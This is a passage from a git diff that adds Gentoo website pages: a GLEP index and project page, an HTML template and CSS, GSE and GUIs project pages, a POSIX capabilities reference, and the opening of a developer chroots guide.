+<glep file="glep-0035.html" id="35" type="S" status="d">
+  Automated consistency check for ebuilds
+</glep>
+<glep file="glep-0036.html" id="36" type="S" status="F">
+  Subversion/CVS for Gentoo-hosted projects
+</glep>
+<glep file="glep-0037.html" id="37" type="S" status="d">
+  Virtuals Deprecation
+</glep>
+<glep file="glep-0038.html" id="38" type="S" status="F">
+  Status of forum moderators in the Gentoo project
+</glep>
+<glep file="glep-0039.html" id="39" type="I" status="F">
+  An "old-school" metastructure proposal with "boot for being a slacker"
+</glep>
+<glep file="glep-0040.html" id="40" type="S" status="F">
+  Standardizing "arch" keywording across all archs
+</glep>
+<glep file="glep-0041.html" id="41" type="S" status="A">
+  Making arch testers official Gentoo staff
+</glep>
+<glep file="glep-0042.html" id="42" type="S" status="F">
+  Critical news reporting
+</glep>
+<glep file="glep-0043.html" id="43" type="I" status="F">
+  GLEP file hosting
+</glep>
+<glep file="glep-0044.html" id="44" type="S" status="F">
+  Manifest2 format
+</glep>
+<glep file="glep-0045.html" id="45" type="S" status="D">
+  GLEP date format
+</glep>
+<glep file="glep-0046.html" id="46" type="S" status="A">
+  Allow upstream tags in metadata.xml
+</glep>
+<glep file="glep-0047.html" id="47" type="S" status="d">
+  Creating 'safe' environment variables
+</glep>
+<glep file="glep-0048.html" id="48" type="S" status="F">
+  QA team's role and purpose
+</glep>
+<glep file="glep-0049.html" id="49" type="S" status="R">
+  Alternative Package Manager requirements
+</glep>
+<glep file="glep-0050.html" id="50" type="S" status="R">
+  Supporting alternative package managers
+</glep>
+<glep file="glep-0051.html" id="51" type="S" status="W">
+  Gentoo Knowledge Base
+</glep>
+<glep file="glep-0052.html" id="52" type="S" status="W">
+  RESTRICT=unattended
+</glep>
+<glep file="glep-0053.html" id="53" type="S" status="F">
+  Keywording scheme
+</glep>
+<glep file="glep-0054.html" id="54" type="S" status="D">
+  scm package version suffix
+</glep>
+<glep file="glep-0055.html" id="55" type="S" status="D">
+  Use EAPI-suffixed ebuilds (.ebuild-EAPI)
+</glep>
+<glep file="glep-0056.html" id="56" type="S" status="F">
+  USE flag descriptions in metadata
+</glep>
+<glep file="glep-0057.html" id="57" type="I" status="F">
+  Security of distribution of Gentoo software - Overview
+</glep>
+<glep file="glep-0058.html" id="58" type="S" status="A">
+  Security of distribution of Gentoo software - Infrastructure to User distribution - MetaManifest
+</glep>
+<glep file="glep-0059.html" id="59" type="S" status="A">
+  Manifest2 hash policies and security implications
+</glep>
+<glep file="glep-0060.html" id="60" type="S" status="A">
+  Manifest2 filetypes
+</glep>
+<glep file="glep-0061.html" id="61" type="S" status="A">
+  Manifest2 compression
+</glep>
+
+</gleps>
diff --git a/xml/htdocs/proj/en/glep/index.xml b/xml/htdocs/proj/en/glep/index.xml
new file mode 100644
index 00000000..83fa184d
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/index.xml
@@ -0,0 +1,85 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+	<name>glep</name>
+	<longname>Gentoo Linux Enhancement Proposals</longname>
+	<date>2007-04-01</date>
+	<author title="Author">Grant Goodyear</author>
+	<description>
+		The GLEP project manages Gentoo Linux Enhancement Proposals.
+	</description>
+	<longdescription><p>
+		    The GLEP project solicits, collects, maintains, and shepherds
+			proposals for substantially enhancing Gentoo Linux.  Any user or
+			developer may construct and submit a GLEP for consideration by the
+			GLEP <mail link="glep@gentoo.org">editors</mail>.  Because GLEPs
+			are kept in CVS, GLEPs constitute a permanent record of proposals
+			designed to enhance Gentoo Linux.
+		</p>
+		<p>For more information, see 
+			<uri link="http://glep.gentoo.org/glep-0001.html">GLEP 1</uri>
+			and
+			<uri link="http://glep.gentoo.org/glep-0002.html">GLEP 2</uri>.
+	</p></longdescription>
+	<dev role="lead" description="GLEP Editor">g2boojum</dev>
+	<dev role="dev" description="GLEP Editor Trainee">antarus</dev>
+	<dev role="dev" description="GLEP Editor Trainee">dev-zero</dev>
+	<resource link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/?cvsroot=gentoo">
+		Files and tools in CVS
+	</resource>
+
+
+<extrachapter>
+
+<title>List of Gentoo Linux Enhancement Proposals</title>
+
+<section>
+<title>Implemented Gleps (Final)</title>
+<!--  Use <glepindex status="D,d,A"/> to select on status, default is all -->
+<body>
+<glepindex status="F"/>
+</body>
+</section>
+
+<section>
+<title>Accepted but not implemented gleps (Accepted)</title>
+<body>
+<glepindex status="A"/>
+</body>
+</section>
+
+<section>
+<title>Draft Gleps (Drafts)</title>
+<body>
+<glepindex status="D"/>
+</body>
+</section>
+
+<section>
+<title>Deferred, Rejected, Withdrawn, or Moribund Gleps</title> 
+<body>
+<glepindex status="d,R,W,M"/>
+</body>
+</section>
+
+<section>
+<title>Notes</title>
+<body>
+<note><br/>
+GLEP types: I = Informational, S = Standard
+<br/>
+GLEP Statuses: D = Draft, d = Deferred, A = Accepted, F = Final, R = Rejected,
+W = Withdrawn, M = Moribund
+</note>
+
+<p>
+If you want to roll your own proposal, you'll want to look at the files <uri
+link="http://sources.gentoo.org/viewcvs.py/gentoo/xml/htdocs/proj/en/glep/">here</uri>.
+</p>
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/glep/tools/glep-html-template.html b/xml/htdocs/proj/en/glep/tools/glep-html-template.html
new file mode 100644
index 00000000..ca98345e
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/tools/glep-html-template.html
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="%(encoding)s" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=%(encoding)s" />
+  <meta name="generator" content="Docutils %(version)s: http://docutils.sourceforge.net/" />
+  <title>GLEP %(pep)s -- %(title)s</title>
+  %(stylesheet)s</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="%(pyhome)s/" title="Gentoo Linux Home Page">
+<img src="%(pyhome)s/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="%(pyhome)s/">Gentoo Linux Home</a></b>]
+[<b><a href="%(pephome)s">GLEP Index</a></b>]
+[<b><a href="%(pephome)s/glep-%(pepnum)s.txt">GLEP Source</a></b>]
+</td></tr></table>
+%(body)s
+%(body_suffix)s
diff --git a/xml/htdocs/proj/en/glep/tools/glep.css b/xml/htdocs/proj/en/glep/tools/glep.css
new file mode 100644
index 00000000..531b9c85
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/tools/glep.css
@@ -0,0 +1,240 @@
+/*
+:Author: David Goodger
+:Contact: goodger@users.sourceforge.net
+:date: $Date: 2003/06/02 17:03:08 $
+:version: $Revision: 1.1 $
+:copyright: This stylesheet has been placed in the public domain.
+
+Default cascading style sheet for the PEP HTML output of Docutils.
+*/
+
+.first {
+  margin-top: 0 }
+
+.last {
+  margin-bottom: 0 }
+
+.navigation {
+  width: 100% ;
+  background: #cc99ff ;
+  margin-top: 0px ;
+  margin-bottom: 0px }
+
+.navigation .navicon {
+  width: 150px ;
+  height: 35px }
+
+.navigation .textlinks {
+  padding-left: 1em ;
+  text-align: left }
+
+.navigation td, .navigation th {
+  padding-left: 0em ;
+  padding-right: 0em ;
+  vertical-align: middle }
+
+.rfc2822 {
+  margin-top: 0.5em ;
+  margin-left: 0.5em ;
+  margin-right: 0.5em ;
+  margin-bottom: 0em }
+
+.rfc2822 td {
+  text-align: left }
+
+.rfc2822 th.field-name {
+  text-align: right ;
+  font-family: sans-serif ;
+  padding-right: 0.5em ;
+  font-weight: bold ;
+  margin-bottom: 0em }
+
+a.toc-backref {
+  text-decoration: none ;
+  color: black }
+
+body {
+  margin: 0px ;
+  margin-bottom: 1em ;
+  padding: 0px }
+
+dd {
+  margin-bottom: 0.5em }
+
+div.section {
+  margin-left: 1em ;
+  margin-right: 1em ;
+  margin-bottom: 1.5em }
+
+div.section div.section {
+  margin-left: 0em ;
+  margin-right: 0em ;
+  margin-top: 1.5em }
+
+div.abstract {
+  margin: 2em 5em }
+
+div.abstract p.topic-title {
+  font-weight: bold ;
+  text-align: center }
+
+div.attention, div.caution, div.danger, div.error, div.hint,
+div.important, div.note, div.tip, div.warning {
+  margin: 2em ;
+  border: medium outset ;
+  padding: 1em }
+
+div.attention p.admonition-title, div.caution p.admonition-title,
+div.danger p.admonition-title, div.error p.admonition-title,
+div.warning p.admonition-title {
+  color: red ;
+  font-weight: bold ;
+  font-family: sans-serif }
+
+div.hint p.admonition-title, div.important p.admonition-title,
+div.note p.admonition-title, div.tip p.admonition-title {
+  font-weight: bold ;
+  font-family: sans-serif }
+
+div.figure {
+  margin-left: 2em }
+
+div.footer, div.header {
+  font-size: smaller }
+
+div.footer {
+  margin-left: 1em ;
+  margin-right: 1em }
+
+div.system-messages {
+  margin: 5em }
+
+div.system-messages h1 {
+  color: red }
+
+div.system-message {
+  border: medium outset ;
+  padding: 1em }
+
+div.system-message p.system-message-title {
+  color: red ;
+  font-weight: bold }
+
+div.topic {
+  margin: 2em }
+
+h1 {
+  font-family: sans-serif ;
+  font-size: large }
+
+h2 {
+  font-family: sans-serif ;
+  font-size: medium }
+
+h3 {
+  font-family: sans-serif ;
+  font-size: small }
+
+h4 {
+  font-family: sans-serif ;
+  font-style: italic ;
+  font-size: small }
+
+h5 {
+  font-family: sans-serif;
+  font-size: x-small }
+
+h6 {
+  font-family: sans-serif;
+  font-style: italic ;
+  font-size: x-small }
+
+.section hr {
+  width: 75% }
+
+ol.simple, ul.simple {
+  margin-bottom: 1em }
+
+ol.arabic {
+  list-style: decimal }
+
+ol.loweralpha {
+  list-style: lower-alpha }
+
+ol.upperalpha {
+  list-style: upper-alpha }
+
+ol.lowerroman {
+  list-style: lower-roman }
+
+ol.upperroman {
+  list-style: upper-roman }
+
+p.caption {
+  font-style: italic }
+
+p.credits {
+  font-style: italic ;
+  font-size: smaller }
+
+p.label {
+  white-space: nowrap }
+
+p.topic-title {
+  font-family: sans-serif ;
+  font-weight: bold }
+
+pre.line-block {
+  font-family: serif ;
+  font-size: 100% }
+
+pre.literal-block, pre.doctest-block {
+  margin-left: 2em ;
+  margin-right: 2em ;
+  background-color: #eeeeee }
+
+span.classifier {
+  font-family: sans-serif ;
+  font-style: oblique }
+
+span.classifier-delimiter {
+  font-family: sans-serif ;
+  font-weight: bold }
+
+span.interpreted {
+  font-family: sans-serif }
+
+span.option-argument {
+  font-style: italic }
+
+span.pre {
+  white-space: pre }
+
+span.problematic {
+  color: red }
+
+table {
+  margin-top: 0.5em ;
+  margin-bottom: 0.5em }
+
+td, th {
+  padding-left: 0.5em ;
+  padding-right: 0.5em ;
+  vertical-align: top }
+
+td.num {
+  text-align: right }
+
+th.field-name {
+  font-weight: bold ;
+  text-align: left ;
+  white-space: nowrap }
+
+h1 tt, h2 tt, h3 tt, h4 tt, h5 tt, h6 tt {
+  font-size: 100% }
+
+tt {
+  background-color: #eeeeee }
+
+ul.auto-toc {
+  list-style-type: none }
diff --git a/xml/htdocs/proj/en/gse/index.xml b/xml/htdocs/proj/en/gse/index.xml
new file mode 100644
index 00000000..4c8954b8
--- /dev/null
+++ b/xml/htdocs/proj/en/gse/index.xml
@@ -0,0 +1,82 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gse/index.xml,v 1.0
+2009/05/19 20:02:22 ulm Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>gse</name>
+
+<longname>Gentoo Support Everywhere</longname>
+<date>2009-05-19</date>
+
+<author title="Author">
+<mail link="i92guboj@gentoo.org">Jesús Guerrero</mail>
+</author>
+<author title="Contributor">
+<mail link=""></mail>
+</author>
+
+<description>
+Gentoo Support Everywhere.
+</description>
+
+<longdescription><p>
+This page contains information about the gse (Gentoo Support
+Everywhere) project, whose aim is to offer support for Gentoo
+in external sites, like LinuxQuestions.org
+</p></longdescription>
+
+<dev role="member" description="">d2_racing</dev>
+<dev role="member" description="lead">i92guboj</dev>
+<dev role="member" description="">NathanZachary</dev>
+<dev role="member" description="">NeddySeagoon</dev>
+
+<extrachapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+This project is born as a way to offer some kind of support otside the
+Gentoo official sites, more concretely, it started as a way to offer support
+at the <uri link="http://www.linuxquestions.org/questions/">LinuxQuestions forums</uri>. However the plan is
+to extend this support to any other place when needed.
+</p>
+<p>
+As a part of this support, we also maintain relationships with the administration
+and moderation teams of these external site(s).
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Sites supported by this team</title>
+<section>
+<body>
+
+<ul>
+  <li><uri link="http://www.linuxquestions.org/questions/">LinuxQuestions forums</uri>:
+  all the paperwork is done, and we are already supporting this site.</li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Sites we are working with to offer support</title>
+<section>
+<body>
+
+<p>
+Currently none.
+</p>
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/guis/index.xml b/xml/htdocs/proj/en/guis/index.xml
new file mode 100644
index 00000000..39f5dd6e
--- /dev/null
+++ b/xml/htdocs/proj/en/guis/index.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/guis/index.xml,v 1.5 2010/07/16 22:57:48 nightmorph Exp $ -->
+
+<project>
+<name>guis</name>
+<longname>Gentoo Graphical User Interfaces Project</longname>
+<date>2010-07-16</date>
+
+<author title="Author">
+  <mail link="araujo@gentoo.org">Luis Francisco Araujo</mail>
+</author>
+<author title="Author">
+  <mail link="cla@gentoo.org">Dawid Węgliński</mail>
+</author>
+
+<description>
+The Gentoo Graphical User Interfaces project aims to provide better support for
+graphical interfaces on Gentoo systems.
+</description>
+
+<longdescription>
+
+<p>
+The main goal of this project is to develop graphical interfaces which adapts
+well into a Gentoo system; this might involve tasks that go from writing
+complete graphical programs until the extension and adaptation of current ones
+to satisfy a very specific functionality of the system.
+</p>
+
+<p>
+A GUI is intended to enhance the usability of an application through the design
+and composition of graphical elements (widgets) that may be used to interact
+with a program using development toolkits available in all Gentoo systems.
+</p>
+
+</longdescription>
+
+<dev role="Lead">araujo</dev>
+<dev role="Member">Jokey</dev>
+<dev role="Member">cla</dev>
+
+<extrachapter>
+<title>Available GUIs</title>
+<section>
+<body>
+
+<p>
+Currently we have two graphical user interfaces within Gentoo system.
+</p>
+
+<ul>
+  <li><uri link="http://dev.gentoo.org/~jokey/maintainer-helper">
+  app-portage/maintainer-helper</uri> a dev-tool for helping with ebuilds
+  maintenance</li>
+  <li><uri link="http://www.haskell.org/himerge/">app-portage/himerge</uri>
+  which is a graphical user interface for emerge</li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Getting involved</title>
+<section>
+<body>
+
+<p>
+We are open to all contributions. If you would like to get involved in the
+project, feel free to drop by on <uri link="/main/en/irc.xml">#gentoo-guis</uri>
+IRC channel or subscribe <mail
+link="gentoo-guis@gentoo.org">gentoo-guis@gentoo.org</mail> mailing list.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Resources</title>
+<section>
+<body>
+
+<ul>
+  <li><uri
+  link="http://en.wikipedia.org/wiki/Graphical_user_interface">Wikipedia.org</uri></li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/hardened/capabilities.xml b/xml/htdocs/proj/en/hardened/capabilities.xml
new file mode 100644
index 00000000..c6501e2d
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/capabilities.xml
@@ -0,0 +1,518 @@
+<?xml version='1.0' encoding="utf-8"?>
+
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/hardened/capabilities.xml">
+<title>POSIX Capabilities</title>
+<author title="Author">
+	<mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Contributor">
+	<mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+
+<abstract>
+POSIX capabilities are a partitioning of the all powerful root privilege into a
+set of distinct privileges
+</abstract>
+
+<version>1.2</version>
+<date>2005-01-22</date>
+
+<chapter>
+<title>CAP_CHOWN</title>
+<section>
+<body>
+
+<pre caption="CAP_CHOWN">
+  <i>CAP_CHOWN</i>
+	In a system with the [_POSIX_CHOWN_RESTRICTED] option defined, 
+	this overrides the restriction of changing file ownership and 
+	group ownership.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_DAC_OVERRIDE</title>
+<section>
+<body>
+
+<pre caption="CAP_DAC_OVERRIDE">
+  <i>CAP_DAC_OVERRIDE</i>
+	Override all DAC access, including ACL execute access 
+	if [_POSIX_ACL] is defined. 
+	Excluding DAC access covered by CAP_LINUX_IMMUTABLE.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_DAC_READ_SEARCH</title>
+<section>
+<body>
+
+<pre caption="CAP_DAC_READ_SEARCH">
+  <i>CAP_DAC_READ_SEARCH</i>	
+	Overrides all DAC restrictions, regarding read and search on files 
+	and directories, including ACL restrictions, if [_POSIX_ACL] is 
+	defined. Excluding DAC access covered by CAP_LINUX_IMMUTABLE.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_FOWNER</title>
+<section>
+<body>
+
+<pre caption="CAP_FOWNER">
+  <i>CAP_FOWNER</i>
+	Overrides all restrictions about allowed operations on files, where 
+	file owner ID must be equal to the user ID, except where CAP_FSETID 
+	is applicable. It doesn't override MAC and DAC restrictions.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_FSETID</title>
+<section>
+<body>
+
+<pre caption="CAP_FSETID">
+  <i>CAP_FSETID</i>
+	Overrides the following restrictions, that the effective user ID shall
+	match the file owner ID, when setting the S_ISUID and S_ISGID bits on 
+	that file; that the effective group ID (or one of the supplementary 
+	group IDs) shall match the file owner ID when setting the S_ISGID bit 
+	on that file; that the S_ISUID and S_ISGID bits are cleared on 
+	successful return from chown(2) (not implemented).
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_FS_MASK</title>
+<section>
+<body>
+
+<pre caption="CAP_FS_MASK">
+  <i>CAP_FS_MASK</i>
+	Used to decide between falling back on the old suser() or fsuser().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_KILL</title>
+<section>
+<body>
+
+<pre caption="CAP_KILL">
+  <i>CAP_KILL</i>
+	Overrides the restriction, that the real or effective user ID of a process,
+	sending a signal, must match the real or effective user ID of the process,
+	receiving the signal.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SETGID</title>
+<section>
+<body>
+
+<pre caption="CAP_SETGID">
+  <i>CAP_SETGID</i>
+	Allows setgid(2) manipulation;
+	Allows setgroups(2);
+	Allows forged gids on socket credentials passing.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SETUID</title>
+<section>
+<body>
+
+<pre caption="CAP_SETUID">
+  <i>CAP_SETUID</i>
+	Allows set*uid(2) manipulation (including fsuid);
+	Allows forged pids on socket credentials passing.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SETPCAP</title>
+<section>
+<body>
+
+<pre caption="CAP_SETPCAP">
+  <i>CAP_SETPCAP</i>
+	Transfer any capability in your permitted set to any pid, remove any capability in your permitted set from any pid.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_LINUX_IMMUTABLE</title>
+<section>
+<body>
+
+<pre caption="CAP_LINUX_IMMUTABLE">
+  <i>CAP_LINUX_IMMUTABLE</i>
+	Allow modification of S_IMMUTABLE and S_APPEND file attributes.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_BIND_SERVICE</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_BIND_SERVICE">
+  <i>CAP_NET_BIND_SERVICE</i>
+	Allows binding to TCP/UDP sockets below 1024;
+	Allows binding to ATM VCIs below 32.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_BROADCAST</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_BROADCAST">
+  <i>CAP_NET_BROADCAST</i>
+	Allow broadcasting, listen to multicast.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_ADMIN</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_ADMIN">
+  <i>CAP_NET_ADMIN</i>
+	Allow interface configuration;
+	Allow administration of IP firewall, masquerading and accounting;
+	Allow setting debug option on sockets;
+	Allow modification of routing tables;
+	Allow setting arbitrary process / process group ownership on sockets;
+	Allow binding to any address for transparent proxying;
+	Allow setting TOS (type of service);
+	Allow setting promiscuous mode;
+	Allow clearing driver statistics;
+	Allow multicasting;
+	Allow read/write of devicespecific registers;
+	Allow activation of ATM control sockets.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_RAW</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_RAW">
+  <i>CAP_NET_RAW</i>
+	Allow use of RAW sockets;
+	Allow use of PACKET sockets.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_IPC_LOCK</title>
+<section>
+<body>
+
+<pre caption="CAP_IPC_LOCK">
+  <i>CAP_IPC_LOCK</i>
+	Allow locking of shared memory segments;
+	Allow mlock and mlockall (which doesn't really have anything to do with IPC).
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_IPC_OWNER</title>
+<section>
+<body>
+
+<pre caption="CAP_IPC_OWNER">
+  <i>CAP_IPC_OWNER</i>
+	Override IPC ownership checks.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_MODULE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_MODULE">
+  <i>CAP_SYS_MODULE</i>
+	Insert and remove kernel modules  modify kernel without limit;
+	Modify cap_bset.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_RAWIO</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_RAWIO">
+  <i>CAP_SYS_RAWIO</i>
+	Allow ioperm/iopl access;
+	Allow sending USB messages to any device via /proc/bus/usb.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_CHROOT</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_CHROOT">
+  <i>CAP_SYS_CHROOT</i>
+	Allow use of chroot().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_PTRACE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_PTRACE">
+  <i>CAP_SYS_PTRACE</i>
+	Allow ptrace() of any process.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>CAP_SYS_PACCT</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_PACCT">
+  <i>CAP_SYS_PACCT</i>
+	Allow configuration of process accounting.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_ADMIN</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_ADMIN">
+  <i>CAP_SYS_ADMIN</i>
+	Allow configuration of the secure attention key;
+	Allow administration of the random device;
+	Allow examination and configuration of disk quotas;
+	Allow configuring the kernel's syslog (printk behaviour);
+	Allow setting the domainname;
+	Allow setting the hostname;
+	Allow calling bdflush();
+	Allow mount() and umount(), setting up new smb connection;
+	Allow some autofs root ioctls;
+	Allow nfsservctl; Allow VM86_REQUEST_IRQ;
+	Allow to read/write pci config on alpha; Allow irix_prctl on mips (setstacksize);
+	Allow flushing all cache on m68k (sys_cacheflush);
+	Allow removing semaphores; Used instead of CAP_CHOWN to "chown" IPC message queues, semaphores and shared memory;
+	Allow locking/unlocking of shared memory segment;
+	Allow turning swap on/off;
+	Allow forged pids on socket credentials passing;
+	Allow setting readahead and flushing buffers on block devices;
+	Allow setting geometry in floppy driver;
+	Allow turning DMA on/off in xd driver;
+	Allow administration of md devices (mostly the above, but some extra ioctls);
+	Allow tuning the ide driver;
+	Allow access to the nvram device;
+	Allow administration of apm_bios, serial and bttv (TV) device;
+	Allow manufacturer commands in isdn CAPI support driver;
+	Allow reading nonstandardized portions of pci configuration space;
+	Allow DDI debug ioctl on sbpcd driver;
+	Allow setting up serial ports;
+	Allow sending raw qic117 commands;
+	Allow enabling/disabling tagged queuing on SCSI controllers and sending arbitrary SCSI commands;
+	Allow setting encryption key on loopback filesystem.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_BOOT</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_BOOT">
+  <i>CAP_SYS_BOOT</i>
+	Allow use of reboot().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_NICE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_NICE">
+  <i>CAP_SYS_NICE</i>
+	Allow raising priority and setting priority on other (different UID) processes;
+	Allow use of FIFO and roundrobin (realtime) scheduling on own processes and setting 
+	the scheduling algorithm used by another process.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_RESOURCE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_RESOURCE">
+  <i>CAP_SYS_RESOURCE</i> 
+	Override resource limits. Set resource limits;
+	Override quota limits;
+	Override reserved space on ext2 filesystem;
+	Modify data journaling mode on ext3 filesystem 
+	(uses journaling resources); NOTE: ext2 honors fsuid when checking for
+	resource overrides, so you can override using fsuid too;
+	Override size restrictions on IPC message queues;
+	Allow more than 64hz interrupts from the realtime clock;
+	Override max number of consoles on console allocation;
+	Override max number of keymaps.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_TIME</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_TIME">
+  <i>CAP_SYS_TIME</i>
+	Allow manipulation of system clock;
+	Allow irix_stime on mips;
+	Allow setting the realtime clock.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_TTY_CONFIG</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_TTY_CONFIG">
+  <i>CAP_SYS_TTY_CONFIG</i>
+	Allow configuration of tty devices; Allow vhangup() of tty.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_MKNOD</title>
+<section>
+<body>
+
+<pre caption="CAP_MKNOD">
+  <i>CAP_MKNOD</i>
+	Allow the privileged aspects of mknod().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_LEASE</title>
+<section>
+<body>
+
+<pre caption="CAP_LEASE">
+  <i>CAP_LEASE</i>
+	Allow taking of leases on files.
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/docs/devel-chroots-intro.xml b/xml/htdocs/proj/en/hardened/docs/devel-chroots-intro.xml
new file mode 100644
index 00000000..8a97405d
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/docs/devel-chroots-intro.xml
@@ -0,0 +1,488 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header $ -->
+
+<guide link="http://www.gentoo.org/proj/en/hardened/devel-chroots-intro.xml" lang="en">
+
+<title>Developer Chroots Utility Guide</title>
+
+<author title="Author">
+  <mail link="pappy@gentoo.org">Alexander Gabert</mail>
+</author>
+
+<abstract>
+This guide covers the installation, configuration and set up
+of chroots using a tool developed for the Gentoo dev machines.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-12-06</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>What is this all about?</title>
+<body>
+
+<p>
+The normal procedure for a developer setting up a chroot is
+to fetch a stage, find a directory where to unpack it, unroll the stage,
+make some modifications to basic files like <c>/etc/resolv.conf</c>,
+<c>/etc/hosts</c> and others.
+Then she or he is usually incorporating some kind of custom script
+to start the chroot again once the machine gets rebooted
+or she/he needs to reenter it for another reason.
+More advanced scripts use screen sessions for making the chroot
+command launching the chroot independent of the 
+currently connected user.
+</p>
+
+<p>
+However, lots of these scripts exist and people are using more
+and more chroots on our development servers,
+which is a very good thing in fact because it's relieving stress
+off the main system and is making our production systems
+more stable if development is done inside contained chroots.
+</p>
+
+<p>
+There has been a previous version of <c>devel-chroots</c>,
+but the old version only had limited multiuser capabilities and
+was rather bulky compared to the code in the script and the
